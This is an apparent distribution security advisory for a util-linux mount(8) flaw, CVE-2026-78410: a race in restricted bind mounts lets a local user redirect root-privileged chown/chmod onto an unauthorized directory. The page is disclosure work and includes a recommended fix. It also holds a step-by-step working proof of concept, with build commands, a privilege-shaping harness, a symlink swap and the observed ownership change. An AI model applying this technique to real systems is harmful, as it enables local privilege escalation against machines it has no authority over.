Skip to content

GHSA-rh77-686x-2f2m on Cyberus Linux 26.05

Aliases: GHSA-rh77-686x-2f2m, CVE-2026-78410

Packages: util-linux

Status: Resolved

Advisory Information

Summary

A restricted-user bind mount source path is authorized from /etc/fstab but is not pinned before the privileged mount operation. A local unprivileged user who can replace the fstab bind source path or one of its ancestors can redirect SUID mount(8) to bind an attacker-selected host directory. When the same fstab entry contains X-mount.owner=, X-mount.group=, or X-mount.mode=, the post-mount hook applies root-privileged chown/chmod to the mounted root, which is the redirected bind source inode. This gives a local attacker a root-privileged ownership or permission modification primitive on a path not authorized by the fstab entry.

This appears to be an unfixed source-side variant in the restricted-mount pathname TOCTOU family. It is distinct from the public loop backing-file TOCTOU advisory because the vulnerable path here is a bind/rbind source opened through open_tree(AT_FDCWD, source, OPEN_TREE_CLONE...), and the escalation is completed by the X-mount.owner/group/mode post hook.

Details

mount(8) is commonly installed SUID-root so that unprivileged users can perform only fstab-authorized mounts. In restricted mode, the security invariant should be that the source and target used by the privileged operation are the same objects that were authorized by /etc/fstab and permission checks.

Current HEAD has strong target-side hardening: restricted mount targets are opened with ul_open_no_symlinks() and later operations can use the pinned target fd. However, bind/rbind sources remain path strings and are re-resolved during the privileged phase.

Relevant source locations:

  • build/src/sys-utils/mount.c:1121
  • sanitize_paths() is called before mnt_context_mount() in restricted mode.
  • If the user invokes mount <target>, the fstab source is not necessarily present in the context at this early command-line sanitization point.

  • build/src/libmount/src/context.c:2037 to build/src/libmount/src/context.c:2055

  • mnt_context_prepare_srcpath() canonicalizes the source path string, but it does not pin the source inode with an fd.

  • build/src/libmount/src/context.c:2070 to build/src/libmount/src/context.c:2075

  • Bind, move, remount, and pseudo-fs sources are considered prepared after string canonicalization and skip the usual source hooks.

  • build/src/libmount/src/context.c:1952 to build/src/libmount/src/context.c:1990

  • mnt_context_open_tree() opens the source with open_tree(AT_FDCWD, path, flags).
  • For bind mounts, OPEN_TREE_CLONE is added.
  • AT_SYMLINK_NOFOLLOW is only added for X-mount.nocanonicalize=source, but mnt_context_is_xnocanonicalize() returns false in restricted mode, so restricted users cannot rely on this as protection.

  • build/src/libmount/src/hook_mount.c:638 to build/src/libmount/src/hook_mount.c:640

  • The new mount API initializes api->fd_tree by calling mnt_context_open_tree(cxt, path, flags) where path is the bind source pathname.

  • build/src/libmount/src/hook_mount.c:551 to build/src/libmount/src/hook_mount.c:558

  • The target side can use a pinned target fd when attaching the tree. This protects the target but does not protect the source.

  • build/src/libmount/src/hook_owner.c:63 to build/src/libmount/src/hook_owner.c:85

  • The X-mount.owner=, X-mount.group=, and X-mount.mode= hook applies fd-based ownership or mode changes to the mounted target root.
  • For a bind mount, the mounted target root is the same inode as the bind source.

The vulnerable sequence is therefore:

  1. A restricted user requests an fstab-authorized bind mount by target.
  2. libmount evaluates fstab permissions and accepts the user mount.
  3. The bind source is represented as a pathname string, not a pinned fd.
  4. The attacker replaces the source path or a writable ancestor with a symlink to another host directory.
  5. Privileged libmount later calls open_tree(AT_FDCWD, source, OPEN_TREE_CLONE | ...) and opens the redirected source.
  6. move_mount() attaches the redirected tree to the authorized target.
  7. X-mount.owner/group/mode operates on the mounted root by fd; for a bind mount this changes the redirected source inode.

This bypasses the administrator's fstab authorization. The administrator authorized metadata changes on one source path, but root applies those changes to another attacker-selected path.

PoC

The following instructions reproduce the issue against current HEAD libmount in a restricted SUID-like context. The harness starts as root, then sets ruid=<unprivileged user> and euid=0 before creating the libmount context, which matches the privilege shape of SUID mount(8) restricted mode.

1. Build current HEAD libmount

From the util-linux source root:

rm -rf /tmp/ul-build-current
meson setup /tmp/ul-build-current build/src \
  -Dbuild-mount=enabled \
  -Dbuild-libmount=enabled \
  -Dbuild-libblkid=enabled \
  -Dbuild-libuuid=enabled \
  -Dbuild-libsmartcols=enabled \
  -Dbuild-libfdisk=disabled \
  -Dbuild-python=disabled \
  -Dnls=disabled \
  -Dsystemd=disabled \
  -Dselinux=disabled \
  -Daudit=disabled \
  -Dcryptsetup=disabled \
  -Dreadline=disabled \
  -Dtinfo=disabled \
  -Dncursesw=disabled \
  -Dncurses=disabled \
  -Dmagic=disabled \
  -Deconf=disabled

ninja -C /tmp/ul-build-current mount

2. Compile the restricted-context harness

The harness source used in my test workspace is available at:

verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/libmount_current_bind_source_owner_e2e.c

Compile it with the freshly built libmount:

gcc -Wall -O2 \
  verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/libmount_current_bind_source_owner_e2e.c \
  -o /tmp/libmount_current_bind_source_owner_e2e \
  -I/tmp/ul-build-current/libmount \
  -Ibuild/src/libmount/src \
  -Ibuild/src/include \
  -L/tmp/ul-build-current/libmount \
  -lmount \
  -Wl,-rpath,/tmp/ul-build-current/libmount \
  -Wl,-rpath,/tmp/ul-build-current/libblkid

The harness performs the following important operations:

initgroups(pw->pw_name, pw->pw_gid);
setresgid(pw->pw_gid, 0, 0);
setresuid(pw->pw_uid, 0, 0);

struct libmnt_context *cxt = mnt_new_context();
mnt_context_set_target(cxt, argv[2]);
mnt_context_mount(cxt);

This makes getuid() return the unprivileged user while geteuid() remains root, so libmount treats the operation as restricted but still has privileges to perform the mount.

3. Prepare an unprivileged user and directories

The example below uses user ulhead.

useradd -m -U ulhead 2>/dev/null || true
rm -rf /tmp/ul_e2e
mkdir -p /tmp/ul_e2e/user /tmp/ul_e2e/mnt /tmp/ul_e2e/sensitive
chown ulhead:ulhead /tmp/ul_e2e/user
chmod 0755 /tmp/ul_e2e/user
chown root:root /tmp/ul_e2e/sensitive
chmod 0700 /tmp/ul_e2e/sensitive
printf 'SENSITIVE\n' > /tmp/ul_e2e/sensitive/marker

Create the initially authorized source path:

runuser -u ulhead -- mkdir -p /tmp/ul_e2e/user/safe

4. Add the fstab entry

Add this temporary fstab entry:

/tmp/ul_e2e/user/safe /tmp/ul_e2e/mnt none bind,user,noauto,X-mount.owner=ulhead,X-mount.group=ulhead 0 0

For a non-invasive test, use a temporary copy of /etc/fstab if your harness or test setup supports it. In my validation, the entry was used as the active fstab record for the harness run.

As the unprivileged user:

runuser -u ulhead -- sh -c 'rm -rf /tmp/ul_e2e/user/safe && ln -s /tmp/ul_e2e/sensitive /tmp/ul_e2e/user/safe'

Before running the harness, the sensitive directory is still owned by root:

stat -c '%n uid=%u gid=%g mode=%a' /tmp/ul_e2e/sensitive /tmp/ul_e2e/mnt

Expected before state:

/tmp/ul_e2e/sensitive uid=0 gid=0 mode=700
/tmp/ul_e2e/mnt uid=0 gid=0 mode=755

6. Run the restricted-context mount harness

/tmp/libmount_current_bind_source_owner_e2e ulhead /tmp/ul_e2e/mnt

Observed result from my current-HEAD validation:

libmount rc=0 status=1 syscall_errno=0 restricted-as-ruid=1003 euid=0

After the mount, check ownership and marker content:

stat -c '%n uid=%u gid=%g mode=%a' /tmp/ul_e2e/sensitive /tmp/ul_e2e/mnt
cat /tmp/ul_e2e/mnt/marker
findmnt -n --target /tmp/ul_e2e/mnt

Observed output:

/tmp/ul_e2e/sensitive uid=1003 gid=1003 mode=700
/tmp/ul_e2e/mnt uid=1003 gid=1003 mode=700
SENSITIVE
/dev/vda1 on /tmp/ul_e2e/mnt type ext4 (rw,nosuid,nodev,noexec,relatime,user=ulhead)

This demonstrates that current HEAD libmount accepted the restricted fstab user mount, followed the attacker-replaced bind source, mounted the redirected source tree, and then applied X-mount.owner/group to the redirected source inode.

The saved evidence from my run is in:

verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/bind-source-owner-current-head-libmount-e2e.log

7. Cleanup

umount -l /tmp/ul_e2e/mnt 2>/dev/null || true
rm -rf /tmp/ul_e2e

Impact

This is a local privilege escalation primitive in SUID mount(8) restricted-user configurations.

Who is impacted:

  • Linux systems where /usr/bin/mount is SUID-root.
  • Administrators who configure fstab entries allowing unprivileged users to perform bind/rbind mounts from paths under user-writable ancestors.
  • Systems using X-mount.owner=, X-mount.group=, or X-mount.mode= on such restricted bind/rbind fstab entries.

Security impact:

  • A local unprivileged user can cause root-privileged chown or chmod to be applied to a host directory that the fstab entry did not authorize.
  • If the redirected path is security-sensitive, changing its owner, group, or mode can allow further local privilege escalation by letting the attacker modify root-controlled files, configuration, service directories, plugin directories, or other trusted paths.
  • Even without a direct root shell in the minimal harness, arbitrary root-authorized metadata modification of attacker-selected paths is a high-impact integrity violation.

Why this is distinct from already public advisories:

  • It is not the public loop backing-file TOCTOU issue. That issue involves user,loop and loop device setup.
  • It is not the older target-path redirection issue. Current HEAD target fd pinning is present in this test.
  • It is not the older path-based hook_owner.c issue. Current HEAD uses fd-based fchownat()/chmod() in hook_owner.c; the bug is that the fd now refers to a bind mount of an attacker-redirected source.
  • The missing invariant is source-side pinning for restricted bind/rbind mounts.

Recommended fix:

  • For restricted bind/rbind mounts, pin the fstab-authorized source with an fd before the permission decision can be invalidated.
  • Use the pinned source fd for open_tree() or equivalent clone operations instead of re-resolving a pathname with AT_FDCWD.
  • Use openat2()-style constraints such as no-symlink and beneath-style resolution when opening restricted sources.
  • If safe source pinning is unavailable, reject restricted bind/rbind mounts where the source path is below a user-writable ancestor and X-mount.owner/group/mode or idmap post hooks are active.
  • Add regression tests where an fstab-authorized bind source is replaced with a symlink before open_tree(), and verify that X-mount.owner/group/mode does not affect the symlink target.

Updates

2026-09-21 22:02 CEST

Metadata changes:

  • Status for package util-linux: “Resolved

2026-09-07 17:18 CEST

Metadata changes:

  • Status for package util-linux: “In Progress

2026-09-02 16:24 CEST

Metadata changes:

  • Status for package util-linux: “Plausible

2026-09-02 16:24 CEST

Metadata changes:

  • Status for package util-linux: “New